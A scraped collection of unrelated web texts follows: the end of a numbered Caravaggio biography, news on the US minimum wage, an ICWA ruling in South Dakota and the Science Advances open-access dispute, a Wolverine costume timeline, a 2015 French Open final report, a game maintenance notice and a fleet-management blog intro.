triumph, which was the way most artists treated the subject, what he got was tragedy. A slender, beautifully lit young David holds out the giant’s head in troubled contemplation. David has reason to look troubled. The model is Cecco Boneri, and he’s gazing at the ruin of his friend and protector. 46. Hoping to gain lost ground and win a papal pardon, Caravaggio moved on to Naples, where Marzio Colonna sheltered him and where avid patrons were already lining up. For the Church of Pio Monte della Misericordia he produced one of his greatest altarpieces, “The Seven Acts of Mercy.” But he also produced work like the slackly conventional “Madonna of the Rosary,” which for the first time showed signs of compromise and even desperation. He had taken to sleeping with his clothes on and his dagger at his side. Paranoia? Maybe not. 47. There were interested parties working behind the scenes to smooth Caravaggio’s passage back to Rome. Del Monte, Borghese, and others wanted their man in the art capital of the world, where he belonged and where they might keep him busy creating masterpieces bound for their own collections. And in fact there were signs that the Vatican was softening. The fiction that Caravaggio had killed in self-defense offered a convenient cover for everyone. Just when the machinery seemed to be moving, however, Caravaggio chose this moment — July 1607 — to sail to the southern Mediterranean outpost of Malta. There he would create possibly his greatest painting. And throw his life away. 48. Why Malta? Costanza Colonna’s son was there, a former black sheep like Caravaggio himself but now a member of the island’s Venerable Council. Fabrizio Sforza Colonna would be an important contact for Caravaggio, but Malta — a garrison state controlled by the severely militaristic Order of the Knights of St. John — nevertheless seemed an odd choice for someone so resistant to authority. Maybe he thought that if he put his shoulder to the wheel and pleased the right patrons, he would be protected by and even welcomed into the fold of the most formidable brotherhood in Christendom. Incredibly, that is just what happened. 49. Once again, Caravaggio’s reputation preceded him. Some of the greatest grandest Knights of the Order of St. John very much wanted their portraits painted by this celebrated prodigy. The greatest, grandest of them all, Alof de Wigancourt, the Grand Master himself, was so taken with his new portraitist that he sat for him twice. 50. The surviving portrait of Wigancourt recalls similarly majestic state portraits by Titian, but in a touch entirely typical of Caravaggio, attention falls on the all too human pageboy standing warily at his master’s side. If the boy seems less impressed than he ought to be, Wigancourt didn’t notice. The warrior aristocrat must have felt a strange kinship with the headstrong artist. He would soon bend or break nearly every rule of the Order, going so far as to lobby the Pope personally, to get Caravaggio knighted. 51. In lieu of the tribute money that the generally well-born knights paid for their induction, Caravaggio would paint an altarpiece depicting the beheading of John the Baptist for the oratory of the Co-Cathedral of St. John in the capital city of Valletta. Working as always with no preparatory sketches or studio assistants to block in a background, he created in about three months the largest (10 by 15 feet) and maybe the greatest work of his career. It’s the only picture he ever signed. There, beneath the pool of the Baptist’s blood, inscribed in the same crimson, is the name by which he wanted to be remembered: “F. Michelangelo” – Brother Michelangelo. 52. The executioner hasn’t quite finished the job. Holding his victim prone and reaching back for the dagger that will sever the head from the neck (at this point it’s only half attached), he impassively follows the instructions of the jailer standing beside him, while Salome’s servant holds the plate that in a few more seconds will bear the weight of a human head. No one is taking any particular pleasure in this distasteful task but, well, orders are orders. About suffering they were never wrong, the Old Masters. 53. A newly minted Knight of the Magistral Obedience, with the honors and rewards appertaining thereto (a gold chain bestowed by the Grand Master himself, not to mention a couple of slaves for his personal use), Caravaggio chose precisely this moment — August 18, 1608 — to go off the rails. It was yet another brawl — an especially ugly one — but Caravaggio wasn’t a layman anymore, and the penalties for a brawling Knight of Malta admitted of no extenuation. 54. Exactly what happed outside that house in Valletta is not known, but one of the six or seven disputants — very likely Caravaggio, in the light of subsequent developments — ended up firing a small pistol at a higher-ranking Knight, Fra Giovanni Rodomonte Roero, the Conte della Vezza. Whatever brought on the quarrel — an insult to Caravaggio’s honor is not hard to imagine — a senior Knight of Justice had been shot and seriously wounded. Nobody, not even the greatest painter in the world, could be allowed to get away with that. 55. If Caravaggio had begun to chafe under the Spartan regulations that a knighthood entailed — no quarreling, no whoring, no leaving the island without express permission — that was as nothing compared to the straits in which he now found himself. Nine days after the shooting and a hurried investigation, Caravaggio was arrested and locked up in a dungeon in the fortress of Castel Sant’Angelo. There he might have read the graffiti of despairing prisoners who had gone before him — “imprisoned forever, victim of evil triumphing over good,” reads one — and reflected on the turn of fortune that had plunged him overnight from the summit of public acclamation to this abyss of deprivation and dishonor. 56. Perfect timing: Caravaggio had been locked up the day before he was to attend, as part of the anniversary observances of the Baptist’s beheading, the official unveiling of his altarpiece in the Oratory of Saint John. As if that irony weren’t sufficiently crushing, three months later he was formally expelled from the Order “like a rotten and diseased limb” in a ceremony that took place, as did all such ceremonies, in the same oratory that housed his monumental canvas. Fortunately, he wasn’t around for that final humiliation. In October, in a move that seems more like a scene from a Clint Eastwood movie than an episode in art history, he had escaped from the well-nigh impregnable fortress of Castel Sant’Angelo. 57. That escape would have entailed breaking out of his cell, scaling the castle ramparts, rappelling down a 200-foot precipice to the sea, and swimming to safety. Which he did. Then he would have had to find a captain who could sneak him past the harbor night patrols and, once arrived at the haven of Sicily, he would have had to avoid the murderous bandits on the inland route to the port of Syracuse. Clearly, he couldn’t have got off the island without much plotting and the inside help of a corrupt official or two or perhaps a blind eye turned at the right moment by Fabrizio Sforza Colonna. By mid-October, he had arrived at Syracuse, about as safe — which is to say, not very — as he would ever be. 58. Caravaggio had chosen Syracuse as his destination for one compelling reason: Mario Minetti. His former companion, model, and (probably) lover had returned to his native Sicily and prospered as a respectable family man and the master of a fashionable workshop. Violent and volatile as he was, Caravaggio compelled abiding loyalty among a small band of intimates, among whom Mario was one. The younger man succored his old friend, lending him his state of the art studio and spreading the word to his rich and powerful clients. It soon became apparent that the work those rich and powerful clients wanted was Caravaggio’s, not Mario’s. Which was fine. Mario could have had no illusions about who was the greater artist, and he could afford to pass on a few commissions that Caravaggio desperately needed. 59. He stayed in Sicily about a year, moving restlessly from Syracuse to Messina to Palermo and keeping a step ahead of the enemies he imagined — and in fact, were — pursuing him. The altarpieces he left behind in those cities were increasingly dark and expressionistic, forfeiting detail and color, but losing nothing of tragic intensity. Local legend had him exhuming a corpse to use as a model for “The Resurrection of Lazarus” and slashing to ribbons a completed canvas that someone had dared to criticize — unlikely, but his behavior had become more erratic. Always armed and now accompanied by a big black dog he named “Corvo” (Crow), “he looked more like a swordsman than a painter,” as one early biographer wrote. 60. Now more than ever a papal pardon was the goal, not just to remove the death sentence hanging over his head, but also to protect him from the wrath of the Knights of Malta, if they were indeed the ones pursuing him. In September, 1609, he left Sicily for Naples, bringing him one step closer to the capital and ultimate rehabilitation. Caravaggio was a known quantity in Naples, where he stayed once again in the Colonna palace at Chiaia. But neither the Colonnas nor his own wits could save him from what had been in the cards for a long time: the savage and nearly lethal attack that took place outside the Osteria del Cerriglio within a few weeks of his arrival. His enemies, finally, had caught up with him. 61. He never had a chance. Three men held him down while a fourth sliced his face. Afterwards, he was almost unrecognizable. They could have killed him, but they wanted him to live, bearing his scars for the rest of his life. Everyone would know what that meant. 62. So who were “they”? Probably not the Tomassoni clan. They definitely would have killed him if they still wanted revenge for the murder of one of their own — an eye for an eye. And probably not Wigancourt, the Maltese Grand Master whom Caravaggio had severely embarrassed with his colossal infractions — a sneak attack outside a louche brothel wasn’t his style. Most likely it was Roero, the aristocratic heavy whom Caravaggio had attacked and injured on Malta. This was how an aggrieved count and Knight of Justice dealt with a mere painter. 63. C remained in Naples another six months, convalescing to the extent he could and dreaming of Rome. He did manage to create one more major work, “The Martyrdom of St. Ursula.” The chiaroscuro that had once dramatically illuminated complex figurations of theme and action had now given way to a depthless and murky field of browns and reds. “And universal darkness buries all,” as a later poet once wrote. 64. From here on, the story gets very hazy. On July 9, 1610, Caravaggio boarded a felucca that would take him north towards Rome and the papal pardon he had reason to believe was imminent. He never got there. What went wrong is the subject of multiple conspiracy theories, some of which have a shred of plausibility. However or wherever it happened, by the beginning of August, all of Rome had heard the news: Michelangelo Merisi da Caravaggio was dead. 65. His enemy Giovanni Baglione wrote, “he died miserably — indeed, just as he had lived.” It pleased Baglione to think so. In his account, Caravaggio had been arrested (no reason given) upon landing at the port of Palo, 20 miles west of Rome. There, he was held in prison for two days while the felucca bearing three of his paintings — his passport back into the good graces of his patrons in Rome — sailed on without him. Upon his release he embarked on a suicidal chase along the beach in malarial weather to catch up with the ship at Porto Ercole. He died of a fever along the way. 66. The story doesn’t quite hold. Why would he have been arrested only to be released? And why would the paintings have been disembarked at Porto Ercole, 70 miles north of Rome? Nor was a body ever found. But it’s not hard to believe that Caravaggio had died of a fever exacerbated by the stress of losing his pictures and, more importantly, from the debilitating and improperly treated effects of his nearly fatal wounding. He didn’t die miserably. He died fighting to the last. 67. The poet Marzio Milesi composed some elegies for his deceased friend, which serve to remind us that if Caravaggio was a thug who hung with gangsters and sex workers, he was also a highly cultured artist no less at home in the company of poets, musicians, scientists, and learned prelates. Milesi genuinely grieved, whereas some of the other principals — Borghese, Wigancourt, and their underlings — just wanted to get their hands on the loot. In the unholy scramble that followed Caravaggio’s death, Borghese bullied and threatened his way to the largest share of the takings. 68. One picture that Borghese didn’t get, known as “Portrait of a Courtesan” until it went up in flames during the fighting in Berlin at the end of World War II, remained in the hands of Fillide Melandroni. She held onto this portrait of herself, at her most beautiful and bejeweled, till the end of her days. 69. Fillide had done quite well on the game, until venereal disease caught up with her at the age of 37 or 38. When she made out her will a few years before she died in 1618, she left most of her costly belongings to charity, but the portrait by the passionate artist she had known so intimately she bequeathed to her aristocratic lover Giulio Strozzi. It was her most cherished possession, and she wanted him to have it. End Bibliographical Note: The flavorful translations of the historical documents in this account come from Peter Robb’s impassioned and novelistic M: The Man Who Became Caravaggio. The notions that Caravaggio might have had a second career as a pimp and that the murder of Ranuccio Tomassoni occurred in the course of a duel derive from the entirely persuasive account of Andrew Graham-Dixon in Caravaggio: A Life Sacred and Profane. Other estimable sources that I’ve used are Helen Langdon’s Caravaggio: A Life, Howard Hibbard’s Caravaggio, and Francine Prose’s Caravaggio: Painter of Miracles. And, of course, there are always the paintings themselves. |
WASHINGTON -- Workers toiling in low-wage jobs marked a dispiriting anniversary on Wednesday: It's now been four years since the last time the federal minimum wage was raised. The minimum wage is currently $7.25 per hour, and it prevails in the 30 states that don't already mandate a higher one. The last time it saw a boost was on July 24, 2009, when it was raised from $6.55. That 70-cent raise marked the last in a series of increases signed into law by President George W. Bush. Since then, the legal wage floor has held steady, even as the cost of living has continued to rise. A full-time worker earning the minimum wage now pulls in a salary of about $15,000 per year, far below a living wage in most parts of the country. President Barack Obama and congressional Democrats have proposed raising the minimum wage and pegging it to inflation, though House Republicans are unlikely to go along with such a hike any time soon. Bills to raise the minimum wage, introduced in the House and Senate earlier this year, have not been voted on by their respective committees. Republican leaders, including House Speaker John Boehner (R-Ohio), have deemed a minimum-wage raise a job killer. (House Republicans have already voted down a version of the minimum wage raise that was inserted as an amendment to a workforce training bill.) Labor groups supporting a minimum wage boost planned demonstrations in an estimated 30 cities across the country on Wednesday, calling the four-year lapse reason alone for a raise. According to organizers, the protests would target low-wage employers who've seen employee strikes in recent months, including Walmart and McDonald's. A group of companies that back the Democratic proposal, called Business for a Fair Minimum Wage, launched a petition Wednesday for businesses to pledge their support for a raise. Over the decades, the minimum wage has gone for spells longer than four years before seeing a raise, according to the Labor Department. The wage floor remained stagnant for a full 10 years leading up to the first increase late in Bush's tenure, in 2007. And during the early 1990s, the minimum wage stood at $4.25 for more than five years before being raised under President Bill Clinton. But if Congress doesn't send Obama legislation to sign by the end of his second term, he will be the first president since Ronald Reagan who didn't raise the minimum wage at all. Back on the campaign trail in 2008, Obama stumped for hiking the minimum wage to $9.50 by 2011 and pegging it to inflation in perpetuity. That raise never came, however, and the president proposed a more modest boost to $9.00 during his State of the Union address earlier this year. Sen. Tom Harkin (D-Iowa) and Rep. George Miller (D-Calif.) soon rolled out their own, more ambitious proposal, which by 2015 would raise the minimum wage to $10.10, closer to its historical high in the late 1960s. The proposals by both the president and congressional Democrats include one pivotal measure -- the tying of the minimum wage to an inflation index. Ten states have already undertaken this change, choosing to automatically reset the minimum wage each year rather than wrangle politically over a new raise every few years. If Congress adopted an inflation index, the purchasing power of the minimum wage wouldn't erode as it has for the past four years. |
South Dakota Indian families and Tribes have just won a major legal victory, under the Indian Child Welfare Act (ICWA) that will resonate throughout the state and nationwide, as well. The decision issued by U.S. District Court Chief Judge Jeffrey L. Viken for the District of South Dakota on Mar. 30, ordered the state to comply with the ICWA, which mandates that Indian children be placed with tribal relatives or other tribes before non-Indian placement is considered. South Dakota’s Department of Social Services was not only placing Native children in white foster homes first, but was also denying Indian parents and guardians any due process rights in the hearing process. Viken ruled in favor of all the Indian plaintiffs’ claims and in his written opinion found that the state’s Seventh Judicial Circuit Court’s Presiding Judge Jeff Davis and other defendants “failed to protect Indian parents’ fundamental rights to a fair hearing.” Further, Viken found that state officials violated the ICWA of 1978. Indian children were being forcibly, routinely, and illegally taken by state DSS workers from their homes; there was lack of adequate notice given to Native parents of hearings at which the children were placed in state custody; parents were not allowed to examine evidence or cross-examine witnesses and many hearings lasted only 60 seconds and most lasted an average of less than five minutes. In all of the cases heard by Judge Davis, one of several judges who heard the Indian child cases, Judge Viken found that Davis ruled against Indian families 100 percent of the time. The background of the lawsuit is that for years DSS has removed over 740 Indian children from their homes annually and in overwhelming numbers sent them to white foster homes. There have also been instances of horrific sexual abuse, the most infamous being the Mette case which this writer has extensively reported. This landmark victory in federal court resulted from a class action lawsuit which alleged that the state of South Dakota routinely violated the constitutional rights of Native parents and provisions of the ICWA. The case focused on the first 48 hours after an American Indian child is taken from home by DSS. The lawsuit was filed in 2013 by private attorney Dana Hanna and Steven Pevar from the American Civil Liberties Union (ACLU) on behalf of the Oglala Sioux and Rosebud Sioux Tribes and parents Rochelle Walking Eagle, Madonna Pappan and Lisa Young representing all Indian parents in Pennington County, South Dakota. This was a federal civil rights lawsuit filed against Presiding Judge Jeff Davis, Pennington County Prosecutor Marl Vargo, state Department of Social Services Director Lynne Valenti and Pennington County Department of Social Services employee Luann Van Hunnik. The lawsuit zeroed in on the very first court appearance and what happens in the “48 hour temporary custody hearing.” Attorney Hanna called the custody hearings “shams.” Hanna added that the ICWA was passed in 1978 by Congress because of “Institutionalized anti-Indian racism” in state courts. Hanna further characterized the South Dakota court system in these cases as “fundamentally racist.” As for the South Dakota courts ” These were virtually kangaroo courts,” said Attorney Pevar. ” There was nothing, nothing that any of the parents did or could have done. It was a predetermined outcome in every one of these cases.” This was also a history-making case, in another sense, because the Department of Justice (DOJ) stepped in and came out resoundingly in support of the tribes and parents. It was the first time the DOJ has intervened in a federal court case involving the ICWA. The DOJ , in fact, filed an amicus brief in the lawsuit alleging that South Dakota was violating the rights of American Indian parents. Over the years thousands of Indian children have been removed from their homes in court hearings in which the parents are rarely allowed to even speak. This writer, while on investigative assignment in South Dakota, was told by many parents that often state judges said in open court that the ICWA would be ignored in their jurisdictions. Since the landmark decision state officials have been conspicuously quiet- the state attorney general’s office declined to comment, going so far as to tell Associated Press (AP) that it was not directly involved even though DSS, a state agency, is a defendant. DSS itself has also declined comment to the media. The Pennington County Attorney’s went even further and refused to return media calls. Judge Jeff Davis also declined comment when contacted by the AP and the local press. Viken has given the state defendants until May 1, to respond to his ruling, after which he will issue an injunction that will further resolve the issues raised by Indian families and the Oglala Sioux Tribe and the Rosebud Sioux Tribe. The state could appeal and take the case to the Eigth Circuit Court of Appeals. Needless, to say this fight is far from over, but so far Native Americans have a victory. South Dakota’s defiance of federal law, in regard to ICWA, takes this writer back in history to that loathsome archenemy of Indian people, Andrew Jackson who infamously said in response to a Supreme Court decision in favor of the Cherokee Nation, ” John Marshall has made his decision, now let him enforce it.” If the state continues defiant, many in the American Indian communities here say the federal government should, as it did in the South in the1950’s, send in the federal troops. Let it be Indian troops. Photo: Kristina Barker/AP & Rapid City Journal |
One hundred and fifteen scientists have signed an open letter to the American Association for the Advancement of Science (AAAS), one of the world’s most prestigious scientific societies and publisher of the journal Science, expressing concerns over the launch of a new scientific journal, Science Advances. The AAAS describes Science Advances as open access, a term used to describe free online access to research for members of the public - but the scientists who have signed the open letter say they are "deeply concerned" with the specifics of its model, claiming it could stifle the sharing of scientific knowledge. The journal, expected to debut in 2015, asks scientists for up to $5,500 (roughly £3,300) to publish their research. Although most open access journals are supported by charging a similar article processing fee, Science Advances has an additional charge of $1,500 for articles more than ten pages long. Leading open access journals, such as PeerJ, the BMC series and Plos One, do not have such surcharges. Studies in Science Advances will also be published under a Creative Commons license which prohibits sharing by any commercial entity, which critics consider means that the journal is not truly open access. Jon Tennant, an Earth scientist from Imperial College London and the person who initiated the open letter, said via email: The $1500 surcharge for going over ten pages is ridiculous. In the digital age it's completely unjustifiable. This might have made sense if Science Advances were a print journal, but it's online only." The 115 open access advocates propose that page surcharges will negatively impact the progression of academic research. They may encourage researchers to unnecessarily omit important details of their studies, cutting them short to make sure papers make it under the ten-page limit. Although an AAAS spokesperson describes their prices as “competitive with comparable open-access journals”, critics haven't been convinced: The licensing issue is also controversial, as the use of a non-commercial license like the Creative Commons BY-NC one fails to meet the standards set out by the Budapest Open Access Initiative. Creative Commons licenses work by using copyright legislation - which usually tries to prevent the re-use of creative work - against itself, by explicitly releasing work with a license which states that certain kinds of remixing and sharing are allowed. However, the non-commercial CC license chosen by the AAAS is not used by organisations such as the Research Councils UK and Wellcome Trust, as it isn't seen as compatible with the principles of open access. Open access should mean the unrestricted, immediate, online availability of scientific research papers. It allows people from around the world, including those who work outside academic institutions, to read and share scientific literature with no paywalls, and the right to freely reuse things like scientific papers without fear of copyright claims. "There is little evidence that non-commercial restrictions provide a benefit to the progress of scholarly research, yet they have significant negative impact, limiting the ability to reuse material for educational purposes and advocacy," the open letter argues. Using CC BY-NC would mean work published in Science Advances couldn't be used by Wikipedia, newspapers or scholarly publishers without permission or payment, for example. The journal will offer scientists the choice of a license without these restrictions, but anyone opting for this more open option will have to pay a further fee of $1,000 (£602). On 28 August, the AAAS appeared to respond to the open letter through Paul Jump of the Times Higher Education magazine, after surprise within the scientific community that the organisation had appointed open access sceptic Kent Anderson as its publisher. However, the New Statesman was later informed by Tennant that he had been told by Science Advances' editor-in-chief, Marcia McNutt, that a newly-created FAQ page on the AAAS site was in fact the formal response to the open letter. Tennant wrote: The response in the form of an FAQ that does not acknowledge the open letter, or address any of the concerns or recommendations we raised in the letter, is breathtakingly rude and dismissive of the community the AAAS purport to serve." Scientific knowledge is communicated and distributed more effectively when there are no restrictions. Many studies have showed that research papers made available through open access journals are cited more often than those in toll-based journals. The open access movement increases the chances of scientific research being discovered, which can lead to the collaboration of ideas, and the generation of potentially life-changing scientific insights. "The AAAS should be a shining beacon within the academic world for progression of science," Tennant explains. “If this is their best shot at that, it's an absolute disaster at the start on all levels. What publishers need to remember is that the academic community is not here to serve them - it is the other way around." (Update: This piece originally stated that all CC licenses have copyleft provisions when only the CC Share-Alike license does, and has been corrected.) |
He’s been called Weapon X, Weapon Omega, patch, james Howlett, Old Man Logan, and Death. But we know him best as WOLVERINE. In his nearly 40 years of Existence, He’s also worn many costumes. Below is a progression of every costume he’s ever worn while going by the name “WOLVERINE”. The Evolution of Wolverine 1974 – Original Yellow Wolverine first appeared in The Incredible Hulk wearing a costume designed by John Romita, Sr. His original mask featured a black nose and whiskers. Co-creator Len Wein originally intended his claws to be attached to his gloves. 1975 – Classic Yellow Wolverine joined the X-Men in Giant-Size X-Men #1. The legend goes that Gil Kame drew his mask wrong on the cover, giving him taller batman like ears and blank eyes, and series artist Dave Cockrum liked it so much that he redrew his page to match. 1977 – Fang Cockrum’s final issue was Uncanny X-Men #107, and he thought it would be amusing to leave the next artist a new Wolverine costume that would be “a bitch to draw.” New series artist John Byrne wasted no time convincing his editor that they should revert it back to the Classic Yellow. 1980 – Brown However, Byrne wasn’t a big fan of the bright yellow costume either, and was eventually allowed to introduce his own redesign in Uncanny X-Men #139. A year earlier he’d removed the flesh-tone sleeves from Wolverine’s arms, making his arm hair visible even in costume. 1988 – Black For the first year of his new self-titled ongoing series drawn by John Buscema, Wolverine wore a stealthy black costume and face paint. Over in Uncanny X-Men he continued to wear the Brown costume. 1991 – Blue and Gold During a story are drawn by star artist Jim Lee, the X-Men donned identical blue and gold outfits inspired by the original 1960’s black and gold uniforms. Wolverine reverted back to his Brown costume just in time for the launch of X-Men #1. 1992 – Classic Yellow 2 After series writer Chris Claremont left, John Byrne briefly returned to co—write with artist Jim Lee. One day Lee proudly mentioned that he’d just given Wolverine his “real” costume back. There was an awkward pause when Byrne informed him that the Brown costume had been his idea. 1994 – Bone Claws In X-Men #25, Magneto ripped the adamantium out of Wolverine’s body. Thankfully, his bones had only been laced with the metal rather than replaced entirely. It was soon revealed that he’d been born with bone claws, though without the metal they were no longer unbreakable. 1996 – Noseless After a year and a half of bone claws, fans were starting to get anxious. Finally, events were set in motion for his adamantium to be replaced in Wolverine #100. In a cruel twist, his body rejected the bonding process, and he was transformed into a noseless beast instead. 1996 – Noseless 2 Noseless Wolverine soon began wearing a bandana over his face, as if that looked any less ridiculous. Fan reaction was so negative to the storyline that his transformation was quietly swept under the rug after less than a year, and never mentioned again. 2000 – Movie (Civilian) While remaining true to the spirit of the character, the movie version of Wolverine in Bryan Singer’s X-Men differed slightly from the comics. Most noticeably, his claws were moved so that the exited from between his knuckles rather than from the back of his hand. 2000 – Movie Also, while Wolverine was traditionally portrayed as being 5’3” in the comics, Hugh Jackman stood nearly at foot taller at 6’2”. The color scheme of his battle uniform was reversed from the comics to black with yellow highlights, and did away with the mask. 2000 – Evolution An animated series titled X-Men Evolution followed the movie later that year. Wolverine’s Evolution outfit took inspiration from the Brown costume, but with a more angular design, strappy boots, and an orange and black color scheme. 2001 – Ultimate As if three different Wolverines weren’t confusing enough (comic. movie, and Evolution), Marvel created a fourth. Ultimate X-Men was part of a rebooted line intended for new readers. His design was another variation on the Brown costume, but with a color scheme based on Fang. 2001 – New (Black Leather) Grant Morrison and Frank Quitely’s New X-Men brought the team more in line with the movie by giving them new black leather outfits. Wolverine’s uniform was a combination of the movie’s costumed and civilian looks, with an unzipped jacket. 2002 – Evolution 2 Season three of X-Men Evolution introduced a new, darker costume. Like in the movie, the animators settled on black with yellow highlights and got rid of the mask. 2003 – Ultimate 2 Within a year, Ultimate Wolverine adopted a variation of the Evolution costume. The main difference was a set of inverted stripes on his shoulders, and a belt that changed depending on the artist who drew it. 2004 – Astonishing Joss Whedon and John Cassaday’s Astonishing X-Men ditched the black leather from New X-Men for a more traditional look. Cassaday took inspiration from Wolverine’s first costume, giving his mask smaller ears (minus the whiskers). 2008 – X-force Although he continued to wear the Astonishing outfit elsewhere, Wolverine donned a black stealth costume on covert missions in X-Force. The costume was based in part on both the old Brown and Black costumes. 2009 – X-Men Origins Wolverine’s first solo movie did away with costumes entirely. While he still sometimes wore the leather jacket in the film, promotional material for X-Men Origins: Wolverine mainly depicted him in just a sleeveless shirt. 2013 – The Wolverine In the same way that the first movie ditched the jacket, the posters for The Wolverine show him completely shirtless. Owned, written and Designed by – Kate Willaert |
Paris (CNN) When it comes to grand slam finals, Stan Wawrinka is used to playing spoiler. After upsetting Rafael Nadal at the Australian Open last year, he engineered another major surprise Sunday by topping world No. 1 Novak Djokovic 4-6 6-4 6-3 6-4 in the French Open final to claim his second major title. Wawrinka isn't a member of the "Big Four," but his achievement at Roland Garros means the Swiss now has the same number of grand slam trophies as Andy Murray. While the Scot owns a 2-6 record in major finals, Wawrinka is a perfect 2-0. "I still have a problem to really realize that I won the French Open," Wawrinka told reporters. "It's always the same after winning a big title. You are a little bit lost in your mind." Djokovic sunk to 8-8 and out went his 28-match winning streak overall. "Of course it hurts, especially because it was in the final," Djokovic told reporters. "I think I've played a great clay-court season, a great Roland Garros, came to the position to really win this trophy." He must be wondering if he'll ever win the grand slam he so desperately craves and complete his collection. In the last two years, Djokovic hasn't made it a secret that triumphing on the red clay in Paris was his main objective. "I know he's looking badly and desperately for this title," said the eighth-seeded Wawrinka. But with each passing year and no title, he moves closer to the likes of Pete Sampras and Boris Becker -- one of his coaches -- in never winning the French Open while bagging the three other majors. This year could especially be a blow to Djokovic, since he toppled nine-time champion Nadal for the first time in seven tries at the French Open and followed it up by ending Murray's 15-match winning streak on clay. The hard work was seemingly done. JUST WATCHED French Open 2015: Federer beaten by Wawrinka Replay More Videos ... MUST WATCH French Open 2015: Federer beaten by Wawrinka 01:10 At the same time, they were two draining contests. "Certainly those two matches were very big in terms of physical demand and mental, emotional as well," said Djokovic. "Still, I was today feeling pretty fresh as much as I could. "Maybe in some important moments I didn't feel I had that explosivity in the legs, but at the end of the day he was just a better player." Djokovic needed two days to complete his semifinal against Murray because of an impending storm that caused poor light, and not having a day off between matches had to have contributed to his loss Sunday, if only slightly. But "there was no reason to find some excuses why this happened," said Djokovic, who was in the same position at the 2012 U.S. Open and fell to Murray in the final. Wawrinka did have the customary day off and landed in the gentler side of the draw. Some would argue, too, that lady luck was on his side at the 2014 Australian Open because Nadal sustained a back injury in the final. But there's little question that the powerful Wawrinka possesses the game to beat Djokovic -- or anyone for that matter. Evidence of the threat he carried came from his recent grand slam performances against Djokovic: In their previous four matches, all of them went to five sets. On Sunday Wawrinka smacked 59 winners; Djokovic hit 30 and made 41 unforced errors. "I knew Stan could beat anyone here but even though, to accomplish two weeks like this, it's something incredible," Swiss Davis Cup captain Severin Luthi told reporters. "Also the Stan now isn't the Stan of five years ago, when he maybe needed six good months to have confidence. He showed it here." Djokovic came out stronger, manufacturing a break point in an opening game that featured the longest rally of the fortnight at 39 strokes. And keeping in line with his starts against Nadal and Murray, he was simply impregnable on serve. A double fault handed Djokovic a 4-3 lead and cruising at 5-4, he brought up two set points on serve. After not putting away a forehand volley and being handcuffed at the net on the ensuing point, things got interesting. He also lost the next point, yet saved the break point with a service winner. However, Djokovic's struggles were just beginning. Suddenly the serve, and his baseline play, abandoned him. In all but one of his service games in the second, Djokovic faced a break point. He finally cracked at 4-5 -- then may have cracked his racket in frustration. Twice he sent his racket to the clay, earning a warning from chair umpire Damien Dumusois. "All in all, maybe that was the turning point," Djokovic said of the second set. The Djokovic who'd crushed Murray for the first two and a half sets and Nadal was long gone. In un-Djokovic like numbers, he struck 14 unforced errors and only six winners. His forehand regressed. Djokovic fended off three more break points in the second game of the third as the pressure mounted. Wawrinka, the crowd favorite, was in full flow, eliciting gasps from the masses on Philippe-Chatrier court when he crushed a forehand winner down the line, then a one-handed backhand winner down the line in the sixth game in breaking again for 4-2. But his biggest shot of the affair came with Djokovic serving at 5-2: Wawrinka pummeled a backhand around the net post for a clean winner. His consistent, flat -- and rocket-like -- strokes were something Djokovic didn't see against both Nadal and Murray. They might even make a dent on the Eiffel Tower. Asked if Wawrinka had the best backhand he'd ever seen, his coach Magnus Norman kept it brief. "Oh, yeah. Is that a clear answer?" said the Swede, who lost the 2000 final to the man who presented Wawrinka with the Coupe des Mousquetaires, Gustavo Kuerten. His play certainly would have made his pal Roger Federer proud. Federer, ousted by Wawrinka in the quarterfinals, took in a football game in Switzerland on Sunday but kept an eye on the tennis via his phone. Better picture then this i will not be able to take guys. Thank you @stanwawrinka. You are a champion in many ways! pic.twitter.com/9NwWqPtSwS — Magnus Norman (@normansweden) June 7, 2015 A sluggish Djokovic somehow led 3-0 in the fourth but was pegged back for 3-3. Creaking at 15-40 he managed to saved two break points, the second with a stab backhand volley. Temporarily surging, Djokovic had 0-40 on the Wawrinka serve at 4-3. The chances dissipated quickly, Wawrinka blasting a service winner to save the last break point. One sensed Djokovic would be vulnerable in the next game and so it proved, Wawrinka ripping a backhand winner on the back foot for 5-4. To sum up Djokovic's day, he erred on a break point in the final game. Wawrinka made him pay and sealed the title with a backhand winner down the line. "I'm very surprised at the way I finished the fourth set," said Wawrinka. "I was relaxed on my backhand side and I could hit some wonderful backhands. It's a rare feeling that you experience in a final against Djokovic. It's a great feeling." Wawrinka became the first man since Mats Wilander in 1988 to win the men's title after being its junior champ. Soon he was hugging his family and Norman in the stands. Sustained applause from the fans during the trophy presentation prompted tears from Djokovic, just as it did in the 2014 final. Serena Williams claimed the women's title Saturday for a landmark 20th major when she beat Lucie Safarova in three sets. The Czech departed with a title, though, capturing Sunday's doubles final with U.S. partner Bethanie Mattek-Sands. Wawrinka and Djokovic are leaving Paris with different emotions. |
We will be deploying a patch and performing an unscheduled maintenance this Friday, June 29th, 2012. Patch notes will be made available shortly after the servers come back up. The servers and SWTOR.com will be down for four hours on Friday, June 29th, 2012 from 4AM CDT (2AM PDT/5AM EDT/10AM BST/11AM CEST/7PM AEST) until 8AM CDT (6AM PDT/9AM EDT/2PM BST/3PM CEST/11PM AEST). There is a possibility that the maintenance window (start & stop times) may shift later than posted here. If that occurs, we will update the messaging immediately. All game servers and SWTOR.com will be offline during this period. This maintenance is expected to take no more than four hours, but could be extended. After the maintenance, please login via the launcher to download the latest patch. If your launcher was open during the maintenance, you must close and reopen it for a fresh login. Maintenance Date: Friday, June 29th, 2012 Time: 4AM CDT (2AM PDT/5AM EDT/10AM BST/11AM CEST/7PM AEST) until 8AM CDT (6AM PDT/9AM EDT/2PM BST/3PM CEST/11PM AEST) There is a possibility that the maintenance window (start & stop times) may shift later than posted here. If that occurs, we will update the messaging immediately. All game servers and SWTOR.com will be offline during this period. This game maintenance is expected to take no more than four hours. Thank you for your patience as we maintain service for Star Wars™: The Old Republic™. Courtney Woods | Lead Community Coordinator Follow us on Twitter @SWTOR | Like us on Facebook [Contact Us] [Rules of Conduct] [F.A.Q.] |
We live in a world where managing a fleet incorrectly can cost you hundreds of thousands – or even millions – of dollars. However, in worlds of popular culture, fantasy, and science fiction, a mismanaged fleet can cost you your life. A mistake could lead to the loss of your sovereignty, your power, or even your home. These huge teams of characters need to communicate and work together effectively to meet their goals, whether those goals include destroying their enemies, taking over Westeros, or exploring the galaxy. How would these characters and their fleets compare with each other? What are their strengths and weaknesses and what can we learn from their shortfalls? We’ve stacked fictional fleets against each other using a simple system, rating them based on some of our real world fleet management key performance indicators (KPIs). Click here to learn about the key measurement categories we used to rank them. |
